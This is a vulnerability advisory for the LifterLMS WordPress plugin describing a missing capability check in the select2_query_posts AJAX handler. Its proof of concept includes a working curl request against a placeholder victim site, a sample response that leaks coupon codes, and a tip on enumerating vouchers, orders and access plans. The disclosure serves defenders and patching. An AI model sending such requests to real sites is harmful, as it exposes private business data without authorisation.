LifterLMS < 10.0.10 – Subscriber+ Sensitive Information Disclosure via select2_query_posts | CVE 2026-14231

Description

The plugin does not perform a capability check in one of its select2 query AJAX handlers, only verifying that the user is logged in, allowing any authenticated user with subscriber-level access to read the titles of internal post types such as coupon codes by supplying the post type.

Proof of Concept

Prerequisites: at least one published LifterLMS coupon exists (LifterLMS > Coupons; the discount code is stored as the coupon title); a Subscriber account.

1. Log in as a Subscriber.
2. Load any front-end page and read window.llms.ajax_nonce from the page source (emitted to every logged-in front-end visitor).
3. Query an internal post type:
   curl -s -b subscriber_cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
     --data "action=select2_query_posts&post_type=llms_coupon&post_statuses=publish&page=0&_ajax_nonce=<NONCE>"

Response leaks every coupon code (post title):
   {"items":[{"id":"12","name":"SECRETDISCOUNT50 (ID# 12)"},{"id":"13","name":"VIPFREE2026 (ID# 13)"}],"more":false,"success":true}

Swap post_type for llms_voucher / llms_order / llms_access_plan to enumerate other internal LifterLMS content.